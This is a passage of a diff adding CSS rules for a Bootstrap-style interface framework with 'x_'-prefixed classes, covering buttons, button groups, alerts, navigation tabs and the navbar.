.x_btn-warning[disabled]{color:#ffffff;background-color:#f89406;*background-color:#df8505} +.x .x_btn-warning:active, +.x .x_btn-warning.x_active{background-color:#c67605 \9} +.x .x_btn-danger{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#da4f49;*background-color:#bd362f;background-image:-moz-linear-gradient(top, #ee5f5b, #bd362f);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#bd362f));background-image:-webkit-linear-gradient(top, #ee5f5b, #bd362f);background-image:-o-linear-gradient(top, #ee5f5b, #bd362f);background-image:linear-gradient(to bottom, #ee5f5b, #bd362f);background-repeat:repeat-x;border-color:#bd362f #bd362f #802420;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#bd362f', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_btn-danger:hover, +.x .x_btn-danger:active, +.x .x_btn-danger.x_active, +.x .x_btn-danger.x_disabled, +.x .x_btn-danger[disabled]{color:#ffffff;background-color:#bd362f;*background-color:#a9302a} +.x .x_btn-danger:active, +.x .x_btn-danger.x_active{background-color:#942a25 \9} +.x .x_btn-success{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#5bb75b;*background-color:#51a351;background-image:-moz-linear-gradient(top, #62c462, #51a351);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#51a351));background-image:-webkit-linear-gradient(top, #62c462, #51a351);background-image:-o-linear-gradient(top, #62c462, #51a351);background-image:linear-gradient(to bottom, #62c462, #51a351);background-repeat:repeat-x;border-color:#51a351 #51a351 #387038;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#51a351', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_btn-success:hover, +.x .x_btn-success:active, +.x .x_btn-success.x_active, +.x .x_btn-success.x_disabled, +.x .x_btn-success[disabled]{color:#ffffff;background-color:#51a351;*background-color:#499249} +.x .x_btn-success:active, +.x .x_btn-success.x_active{background-color:#408140 \9} +.x .x_btn-info{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#49afcd;*background-color:#2f96b4;background-image:-moz-linear-gradient(top, #5bc0de, #2f96b4);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#2f96b4));background-image:-webkit-linear-gradient(top, #5bc0de, #2f96b4);background-image:-o-linear-gradient(top, #5bc0de, #2f96b4);background-image:linear-gradient(to bottom, #5bc0de, #2f96b4);background-repeat:repeat-x;border-color:#2f96b4 #2f96b4 #1f6377;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de', endColorstr='#2f96b4', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_btn-info:hover, +.x .x_btn-info:active, +.x .x_btn-info.x_active, +.x .x_btn-info.x_disabled, +.x .x_btn-info[disabled]{color:#ffffff;background-color:#2f96b4;*background-color:#2a85a0} +.x .x_btn-info:active, +.x .x_btn-info.x_active{background-color:#24748c \9} +.x .x_btn-inverse{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#363636;*background-color:#222222;background-image:-moz-linear-gradient(top, #444444, #222222);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#444444), to(#222222));background-image:-webkit-linear-gradient(top, #444444, #222222);background-image:-o-linear-gradient(top, #444444, #222222);background-image:linear-gradient(to bottom, #444444, #222222);background-repeat:repeat-x;border-color:#222222 #222222 #000000;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#444444', endColorstr='#222222', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_btn-inverse:hover, +.x .x_btn-inverse:active, +.x .x_btn-inverse.x_active, +.x .x_btn-inverse.x_disabled, +.x .x_btn-inverse[disabled]{color:#ffffff;background-color:#222222;*background-color:#151515} +.x .x_btn-inverse:active, +.x .x_btn-inverse.x_active{background-color:#080808 \9} +.x button.x_btn, +.x input[type="submit"].x_btn{*padding-top:3px;*padding-bottom:3px} +.x button.x_btn::-moz-focus-inner, +.x input[type="submit"].x_btn::-moz-focus-inner{padding:0;border:0} +.x button.x_btn.x_btn-large, +.x input[type="submit"].x_btn.x_btn-large{*padding-top:7px;*padding-bottom:7px} +.x button.x_btn.x_btn-small, +.x input[type="submit"].x_btn.x_btn-small{*padding-top:3px;*padding-bottom:3px} +.x button.x_btn.x_btn-mini, +.x input[type="submit"].x_btn.x_btn-mini{*padding-top:1px;*padding-bottom:1px} +.x .x_btn-link, +.x .x_btn-link:active, +.x .x_btn-link[disabled]{background-color:transparent;background-image:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none} +.x .x_btn-link{color:#0088cc;cursor:pointer;border-color:transparent;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_btn-link:hover{color:#005580;text-decoration:underline;background-color:transparent} +.x .x_btn-link[disabled]:hover{color:#333333;text-decoration:none} +.x .x_btn-group{position:relative;display:inline-block;*display:inline;*margin-left:.3em;font-size:0;white-space:nowrap;vertical-align:middle;*zoom:1} +.x .x_btn-group:first-child{*margin-left:0} +.x .x_btn-group+.x_btn-group{margin-left:5px} +.x .x_btn-toolbar{margin-top:10px;margin-bottom:10px;font-size:0} +.x .x_btn-toolbar>.x_btn+.x_btn, +.x .x_btn-toolbar>.x_btn-group+.x_btn, +.x .x_btn-toolbar>.x_btn+.x_btn-group{margin-left:5px} +.x .x_btn-group>.x_btn{position:relative;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_btn-group>.x_btn+.x_btn{margin-left:-1px} +.x .x_btn-group>.x_btn, +.x .x_btn-group>.x_dropdown-menu, +.x .x_btn-group>.x_popover{font-size:14px} +.x .x_btn-group>.x_btn-mini{font-size:10.5px} +.x .x_btn-group>.x_btn-small{font-size:11.9px} +.x .x_btn-group>.x_btn-large{font-size:17.5px} +.x .x_btn-group>.x_btn:first-child{margin-left:0;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-bottomleft:4px;-moz-border-radius-topleft:4px} +.x .x_btn-group>.x_btn:last-child, +.x .x_btn-group>.x_dropdown-toggle{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-bottomright:4px} +.x .x_btn-group>.x_btn.x_large:first-child{margin-left:0;-webkit-border-bottom-left-radius:6px;border-bottom-left-radius:6px;-webkit-border-top-left-radius:6px;border-top-left-radius:6px;-moz-border-radius-bottomleft:6px;-moz-border-radius-topleft:6px} +.x .x_btn-group>.x_btn.x_large:last-child, +.x .x_btn-group>.x_large.x_dropdown-toggle{-webkit-border-top-right-radius:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;border-bottom-right-radius:6px;-moz-border-radius-topright:6px;-moz-border-radius-bottomright:6px} +.x .x_btn-group>.x_btn:hover, +.x .x_btn-group>.x_btn:focus, +.x .x_btn-group>.x_btn:active, +.x .x_btn-group>.x_btn.x_active{z-index:2} +.x .x_btn-group .x_dropdown-toggle:active, +.x .x_btn-group.x_open .x_dropdown-toggle{outline:0} +.x .x_btn-group>.x_btn+.x_dropdown-toggle{*padding-top:5px;padding-right:8px;*padding-bottom:5px;padding-left:8px;-webkit-box-shadow:inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05)} +.x .x_btn-group>.x_btn-mini+.x_dropdown-toggle{*padding-top:2px;padding-right:5px;*padding-bottom:2px;padding-left:5px} +.x .x_btn-group>.x_btn-small+.x_dropdown-toggle{*padding-top:5px;*padding-bottom:4px} +.x .x_btn-group>.x_btn-large+.x_dropdown-toggle{*padding-top:7px;padding-right:12px;*padding-bottom:7px;padding-left:12px} +.x .x_btn-group.x_open .x_dropdown-toggle{background-image:none;-webkit-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05)} +.x .x_btn-group.x_open .x_btn.x_dropdown-toggle{background-color:#e6e6e6} +.x .x_btn-group.x_open .x_btn-primary.x_dropdown-toggle{background-color:#0044cc} +.x .x_btn-group.x_open .x_btn-warning.x_dropdown-toggle{background-color:#f89406} +.x .x_btn-group.x_open .x_btn-danger.x_dropdown-toggle{background-color:#bd362f} +.x .x_btn-group.x_open .x_btn-success.x_dropdown-toggle{background-color:#51a351} +.x .x_btn-group.x_open .x_btn-info.x_dropdown-toggle{background-color:#2f96b4} +.x .x_btn-group.x_open .x_btn-inverse.x_dropdown-toggle{background-color:#222222} +.x .x_btn .x_caret{margin-top:8px;margin-left:0} +.x .x_btn-mini .x_caret, +.x .x_btn-small .x_caret, +.x .x_btn-large .x_caret{margin-top:6px} +.x .x_btn-large .x_caret{border-top-width:5px;border-right-width:5px;border-left-width:5px} +.x .x_dropup .x_btn-large .x_caret{border-bottom-width:5px} +.x .x_btn-primary .x_caret, +.x .x_btn-warning .x_caret, +.x .x_btn-danger .x_caret, +.x .x_btn-info .x_caret, +.x .x_btn-success .x_caret, +.x .x_btn-inverse .x_caret{border-top-color:#ffffff;border-bottom-color:#ffffff} +.x .x_btn-group-vertical{display:inline-block;*display:inline; /* IE7 inline-block hack */ *zoom:1} +.x .x_btn-group-vertical>.x_btn{display:block;float:none;max-width:100%;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_btn-group-vertical>.x_btn+.x_btn{margin-top:-1px;margin-left:0} +.x .x_btn-group-vertical>.x_btn:first-child{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0} +.x .x_btn-group-vertical>.x_btn:last-child{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px} +.x .x_btn-group-vertical>.x_btn-large:first-child{-webkit-border-radius:6px 6px 0 0;-moz-border-radius:6px 6px 0 0;border-radius:6px 6px 0 0} +.x .x_btn-group-vertical>.x_btn-large:last-child{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px} +.x .x_alert{padding:8px 35px 8px 14px;margin-bottom:20px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);background-color:#fcf8e3;border:1px solid #fbeed5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x .x_alert, +.x .x_alert h4{color:#c09853} +.x .x_alert h4{margin:0} +.x .x_alert .x_close{position:relative;top:-2px;right:-21px;line-height:20px} +.x .x_alert-success{color:#468847;background-color:#dff0d8;border-color:#d6e9c6} +.x .x_alert-success h4{color:#468847} +.x .x_alert-danger, +.x .x_alert-error{color:#b94a48;background-color:#f2dede;border-color:#eed3d7} +.x .x_alert-danger h4, +.x .x_alert-error h4{color:#b94a48} +.x .x_alert-info{color:#3a87ad;background-color:#d9edf7;border-color:#bce8f1} +.x .x_alert-info h4{color:#3a87ad} +.x .x_alert-block{padding-top:14px;padding-bottom:14px} +.x .x_alert-block>p, +.x .x_alert-block>ul{margin-bottom:0} +.x .x_alert-block p+p{margin-top:5px} +.x .x_nav{margin-bottom:20px;margin-left:0;list-style:none} +.x .x_nav>li>a{display:block} +.x .x_nav>li>a:hover{text-decoration:none;background-color:#eeeeee} +.x .x_nav>li>a>img{max-width:none} +.x .x_nav>.x_pull-right{float:right} +.x .x_nav-header{display:block;padding:3px 15px;font-size:11px;font-weight:bold;line-height:20px;color:#999999;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);text-transform:uppercase} +.x .x_nav li+.x_nav-header{margin-top:9px} +.x .x_nav-list{padding-right:15px;padding-left:15px;margin-bottom:0} +.x .x_nav-list>li>a, +.x .x_nav-list .x_nav-header{margin-right:-15px;margin-left:-15px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5)} +.x .x_nav-list>li>a{padding:3px 15px} +.x .x_nav-list>.x_active>a, +.x .x_nav-list>.x_active>a:hover{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.2);background-color:#0088cc} +.x .x_nav-list [class^="x_icon-"], +.x .x_nav-list [class*=" x_icon-"]{margin-right:2px} +.x .x_nav-list .x_divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #ffffff} +.x .x_nav-tabs, +.x .x_nav-pills{*zoom:1} +.x .x_nav-tabs:before, +.x .x_nav-pills:before, +.x .x_nav-tabs:after, +.x .x_nav-pills:after{display:table;line-height:0;content:""} +.x .x_nav-tabs:after, +.x .x_nav-pills:after{clear:both} +.x .x_nav-tabs>li, +.x .x_nav-pills>li{float:left} +.x .x_nav-tabs>li>a, +.x .x_nav-pills>li>a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px} +.x .x_nav-tabs{border-bottom:1px solid #ddd} +.x .x_nav-tabs>li{margin-bottom:-1px} +.x .x_nav-tabs>li>a{padding-top:8px;padding-bottom:8px;line-height:20px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0} +.x .x_nav-tabs>li>a:hover{border-color:#eeeeee #eeeeee #dddddd} +.x .x_nav-tabs>.x_active>a, +.x .x_nav-tabs>.x_active>a:hover{color:#555555;cursor:default;background-color:#ffffff;border:1px solid #ddd;border-bottom-color:transparent} +.x .x_nav-pills>li>a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px} +.x .x_nav-pills>.x_active>a, +.x .x_nav-pills>.x_active>a:hover{color:#ffffff;background-color:#0088cc} +.x .x_nav-stacked>li{float:none} +.x .x_nav-stacked>li>a{margin-right:0} +.x .x_nav-tabs.x_nav-stacked{border-bottom:0} +.x .x_nav-tabs.x_nav-stacked>li>a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_nav-tabs.x_nav-stacked>li:first-child>a{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-topleft:4px} +.x .x_nav-tabs.x_nav-stacked>li:last-child>a{-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-moz-border-radius-bottomright:4px;-moz-border-radius-bottomleft:4px} +.x .x_nav-tabs.x_nav-stacked>li>a:hover{z-index:2;border-color:#ddd} +.x .x_nav-pills.x_nav-stacked>li>a{margin-bottom:3px} +.x .x_nav-pills.x_nav-stacked>li:last-child>a{margin-bottom:1px} +.x .x_nav-tabs .x_dropdown-menu{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px} +.x .x_nav-pills .x_dropdown-menu{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px} +.x .x_nav .x_dropdown-toggle .x_caret{margin-top:6px;border-top-color:#0088cc;border-bottom-color:#0088cc} +.x .x_nav .x_dropdown-toggle:hover .x_caret{border-top-color:#005580;border-bottom-color:#005580} +/* move down carets for tabs */ +.x .x_nav-tabs .x_dropdown-toggle .x_caret{margin-top:8px} +.x .x_nav .x_active .x_dropdown-toggle .x_caret{border-top-color:#fff;border-bottom-color:#fff} +.x .x_nav-tabs .x_active .x_dropdown-toggle .x_caret{border-top-color:#555555;border-bottom-color:#555555} +.x .x_nav>.x_dropdown.x_active>a:hover{cursor:pointer} +.x .x_nav-tabs .x_open .x_dropdown-toggle, +.x .x_nav-pills .x_open .x_dropdown-toggle, +.x .x_nav>li.x_dropdown.x_open.x_active>a:hover{color:#ffffff;background-color:#999999;border-color:#999999} +.x .x_nav li.x_dropdown.x_open .x_caret, +.x .x_nav li.x_dropdown.x_open.x_active .x_caret, +.x .x_nav li.x_dropdown.x_open a:hover .x_caret{border-top-color:#ffffff;border-bottom-color:#ffffff;opacity:1;filter:alpha(opacity=100)} +.x .x_tabs-stacked .x_open>a:hover{border-color:#999999} +.x .x_tabbable{*zoom:1} +.x .x_tabbable:before, +.x .x_tabbable:after{display:table;line-height:0;content:""} +.x .x_tabbable:after{clear:both} +.x .x_tab-content{overflow:auto} +.x .x_tabs-below>.x_nav-tabs, +.x .x_tabs-right>.x_nav-tabs, +.x .x_tabs-left>.x_nav-tabs{border-bottom:0} +.x .x_tab-content>.x_tab-pane, +.x .x_pill-content>.x_pill-pane{display:none} +.x .x_tab-content>.x_active, +.x .x_pill-content>.x_active{display:block} +.x .x_tabs-below>.x_nav-tabs{border-top:1px solid #ddd} +.x .x_tabs-below>.x_nav-tabs>li{margin-top:-1px;margin-bottom:0} +.x .x_tabs-below>.x_nav-tabs>li>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px} +.x .x_tabs-below>.x_nav-tabs>li>a:hover{border-top-color:#ddd;border-bottom-color:transparent} +.x .x_tabs-below>.x_nav-tabs>.x_active>a, +.x .x_tabs-below>.x_nav-tabs>.x_active>a:hover{border-color:transparent #ddd #ddd #ddd} +.x .x_tabs-left>.x_nav-tabs>li, +.x .x_tabs-right>.x_nav-tabs>li{float:none} +.x .x_tabs-left>.x_nav-tabs>li>a, +.x .x_tabs-right>.x_nav-tabs>li>a{min-width:74px;margin-right:0;margin-bottom:3px} +.x .x_tabs-left>.x_nav-tabs{float:left;margin-right:19px;border-right:1px solid #ddd} +.x .x_tabs-left>.x_nav-tabs>li>a{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px} +.x .x_tabs-left>.x_nav-tabs>li>a:hover{border-color:#eeeeee #dddddd #eeeeee #eeeeee} +.x .x_tabs-left>.x_nav-tabs .x_active>a, +.x .x_tabs-left>.x_nav-tabs .x_active>a:hover{border-color:#ddd transparent #ddd #ddd;*border-right-color:#ffffff} +.x .x_tabs-right>.x_nav-tabs{float:right;margin-left:19px;border-left:1px solid #ddd} +.x .x_tabs-right>.x_nav-tabs>li>a{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0} +.x .x_tabs-right>.x_nav-tabs>li>a:hover{border-color:#eeeeee #eeeeee #eeeeee #dddddd} +.x .x_tabs-right>.x_nav-tabs .x_active>a, +.x .x_tabs-right>.x_nav-tabs .x_active>a:hover{border-color:#ddd #ddd #ddd transparent;*border-left-color:#ffffff} +.x .x_nav>.x_disabled>a{color:#999999} +.x .x_nav>.x_disabled>a:hover{text-decoration:none;cursor:default;background-color:transparent} +.x .x_navbar{*position:relative;*z-index:2;margin-bottom:20px;overflow:visible} +.x .x_navbar-inner{min-height:40px;padding-right:20px;padding-left:20px;background-color:#fafafa;background-image:-moz-linear-gradient(top, #ffffff, #f2f2f2);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#f2f2f2));background-image:-webkit-linear-gradient(top, #ffffff, #f2f2f2);background-image:-o-linear-gradient(top, #ffffff, #f2f2f2);background-image:linear-gradient(to bottom, #ffffff, #f2f2f2);background-repeat:repeat-x;border:1px solid #d4d4d4;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#f2f2f2', GradientType=0);*zoom:1;-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.065);-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.065);box-shadow:0 1px 4px rgba(0, 0, 0, 0.065)} +.x .x_navbar-inner:before, +.x .x_navbar-inner:after{display:table;line-height:0;content:""} +.x .x_navbar-inner:after{clear:both} +.x .x_navbar .x_container{width:auto} +.x .x_nav-collapse.x_collapse{height:auto;overflow:visible} +.x .x_navbar .x_brand{display:block;float:left;padding:10px 20px 10px;margin-left:-20px;font-size:20px;font-weight:200;color:#777777;text-shadow:0 1px 0 #ffffff} +.x .x_navbar .x_brand:hover{text-decoration:none} +.x .x_navbar-text{margin-bottom:0;line-height:40px;color:#777777} +.x .x_navbar-link{color:#777777} +.x .x_navbar-link:hover{color:#333333} +.x .x_navbar .x_divider-vertical{height:40px;margin:0 9px;border-right:1px solid #ffffff;border-left:1px solid #f2f2f2} +.x .x_navbar .x_btn, +.x .x_navbar .x_btn-group{margin-top:5px} +.x .x_navbar .x_btn-group .x_btn, +.x .x_navbar .x_input-prepend .x_btn, +.x .x_navbar .x_input-append .x_btn{margin-top:0} +.x .x_navbar-form{margin-bottom:0;*zoom:1} +.x .x_navbar-form:before, +.x .x_navbar-form:after{display:table;line-height:0;content:""} +.x .x_navbar-form:after{clear:both} +.x .x_navbar-form input, +.x .x_navbar-form select, +.x .x_navbar-form .x_radio, +.x .x_navbar-form .x_checkbox{margin-top:5px} +.x .x_navbar-form input, +.x .x_navbar-form select, +.x .x_navbar-form .x_btn{display:inline-block;margin-bottom:0} +.x .x_navbar-form input[type="image"], +.x .x_navbar-form input[type="checkbox"], +.x .x_navbar-form input[type="radio"]{margin-top:3px} +.x .x_navbar-form .x_input-append, +.x .x_navbar-form .x_input-prepend{margin-top:5px;white-space:nowrap} +.x .x_navbar-form .x_input-append input, +.x .x_navbar-form .x_input-prepend input{margin-top:0} +.x .x_navbar-search{position:relative;float:left;margin-top:5px;margin-bottom:0} +.x .x_navbar-search .x_search-query{padding:4px 14px;margin-bottom:0;font-family:"Helvetica Neue", Helvetica, Arial, sans-serif;font-size:13px;font-weight:normal;line-height:1;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px} +.x .x_navbar-static-top{position:static;margin-bottom:0} +.x .x_navbar-static-top .x_navbar-inner{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_navbar-fixed-top, +.x .x_navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030;margin-bottom:0} +.x .x_navbar-fixed-top .x_navbar-inner, +.x .x_navbar-static-top .x_navbar-inner{border-width:0 0 1px} +.x .x_navbar-fixed-bottom .x_navbar-inner{border-width:1px 0 0} +.x .x_navbar-fixed-top .x_navbar-inner, +.x .x_navbar-fixed-bottom .x_navbar-inner{padding-right:0;padding-left:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_navbar-static-top .x_container, +.x .x_navbar-fixed-top .x_container, +.x .x_navbar-fixed-bottom .x_container{width:940px} +.x .x_navbar-fixed-top{top:0} +.x .x_navbar-fixed-top .x_navbar-inner, +.x .x_navbar-static-top .x_navbar-inner{-webkit-box-shadow:0 1px 10px rgba(0, 0, 0, 0.1);-moz-box-shadow:0 1px 10px rgba(0, 0, 0, 0.1);box-shadow:0 1px 10px rgba(0, 0, 0, 0.1)} +.x .x_navbar-fixed-bottom{bottom:0} +.x .x_navbar-fixed-bottom .x_navbar-inner{-webkit-box-shadow:0 -1px 10px rgba(0, 0, 0, 0.1);-moz-box-shadow:0 -1px 10px rgba(0, 0, 0, 0.1);box-shadow:0 -1px 10px rgba(0, 0, 0, 0.1)} +.x .x_navbar .x_nav{position:relative;left:0;display:block;float:left;margin:0 10px 0 0} +.x .x_navbar .x_nav.x_pull-right{float:right;margin-right:0} +.x .x_navbar .x_nav>li{float:left} +.x .x_navbar .x_nav>li>a{float:none;padding:10px 15px 10px;color:#777777;text-decoration:none;text-shadow:0 1px 0 #ffffff} +.x .x_navbar .x_nav .x_dropdown-toggle .x_caret{margin-top:8px} +.x .x_navbar .x_nav>li>a:focus, +.x .x_navbar .x_nav>li>a:hover{color:#333333;text-decoration:none;background-color:transparent} +.x .x_navbar .x_nav>.x_active>a, +.x .x_navbar .x_nav>.x_active>a:hover, +.x .x_navbar .x_nav>.x_active>a:focus{color:#555555;text-decoration:none;background-color:#e5e5e5;-webkit-box-shadow:inset 0 3px 8px rgba(0, 0, 0, 0.125);-moz-box-shadow:inset 0 3px 8px rgba(0, 0, 0, 0.125);box-shadow:inset 0 3px 8px rgba(0, 0, 0, 0.125)} +.x .x_navbar .x_btn-navbar{display:none;float:right;padding:7px 10px;margin-right:5px;margin-left:5px;color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#ededed;*background-color:#e5e5e5;background-image:-moz-linear-gradient(top, #f2f2f2, #e5e5e5);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#f2f2f2), to(#e5e5e5));background-image:-webkit-linear-gradient(top, #f2f2f2, #e5e5e5);background-image:-o-linear-gradient(top, #f2f2f2, #e5e5e5);background-image:linear-gradient(to bottom, #f2f2f2, #e5e5e5);background-repeat:repeat-x;border-color:#e5e5e5 #e5e5e5 #bfbfbf;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f2f2', endColorstr='#e5e5e5', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);-webkit-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);-moz-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075);box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.075)} +.x .x_navbar .x_btn-navbar:hover, +.x .x_navbar .x_btn-navbar:active, +.x .x_navbar .x_btn-navbar.x_active, +.x .x_navbar .x_btn-navbar.x_disabled, +.x .x_navbar .x_btn-navbar[disabled]{color:#ffffff;background-color:#e5e5e5;*background-color:#d9d9d9} +.x .x_navbar .x_btn-navbar:active, +.x .x_navbar .x_btn-navbar.x_active{background-color:#cccccc \9} +.x .x_navbar .x_btn-navbar .x_icon-bar{display:block;width:18px;height:2px;background-color:#f5f5f5;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);-moz-box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);box-shadow:0 1px 0 rgba(0, 0, 0, 0.25)} +.x .x_btn-navbar .x_icon-bar+.x_icon-bar{margin-top:3px} +.x .x_navbar .x_nav>li>.x_dropdown-menu:before{position:absolute;top:-7px;left:9px;display:inline-block;border-right:7px solid transparent;border-bottom:7px solid #ccc;border-left:7px solid transparent;border-bottom-color:rgba(0, 0, 0, 0.2);content:''} +.x .x_navbar .x_nav>li>.x_dropdown-menu:after{position:absolute;top:-6px;left:10px;display:inline-block;border-right:6px solid transparent;border-bottom:6px solid #ffffff;border-left:6px solid transparent;content:''} +.x .x_navbar-fixed-bottom .x_nav>li>.x_dropdown-menu:before{top:auto;bottom:-7px;border-top:7px solid #ccc;border-bottom:0;border-top-color:rgba(0, 0, 0, 0.2)} +.x .x_navbar-fixed-bottom .x_nav>li>.x_dropdown-menu:after{top:auto;bottom:-6px;border-top:6px solid #ffffff;border-bottom:0} +.x .x_navbar .x_nav li.x_dropdown>a:hover .x_caret{border-top-color:#555555;border-bottom-color:#555555} +.x .x_navbar .x_nav li.x_dropdown.x_open>.x_dropdown-toggle, +.x .x_navbar .x_nav li.x_dropdown.x_active>.x_dropdown-toggle, +.x .x_navbar .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle{color:#555555;background-color:#e5e5e5} +.x .x_navbar .x_nav li.x_dropdown>.x_dropdown-toggle .x_caret{border-top-color:#777777;border-bottom-color:#777777} +.x .x_navbar .x_nav li.x_dropdown.x_open>.x_dropdown-toggle .x_caret, +.x .x_navbar .x_nav li.x_dropdown.x_active>.x_dropdown-toggle .x_caret, +.x .x_navbar .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle .x_caret{border-top-color:#555555;border-bottom-color:#555555} +.x .x_navbar .x_pull-right>li>.x_dropdown-menu, +.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right{right:0;left:auto} +.x .x_navbar .x_pull-right>li>.x_dropdown-menu:before, +.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right:before{right:12px;left:auto} +.x .x_navbar .x_pull-right>li>.x_dropdown-menu:after, +.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right:after{right:13px;left:auto} +.x .x_navbar .x_pull-right>li>.x_dropdown-menu .x_dropdown-menu, +.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right .x_dropdown-menu{right:100%;left:auto;margin-right:-1px;margin-left:0;-webkit-border-radius:6px 0 6px 6px;-moz-border-radius:6px 0 6px 6px;border-radius:6px 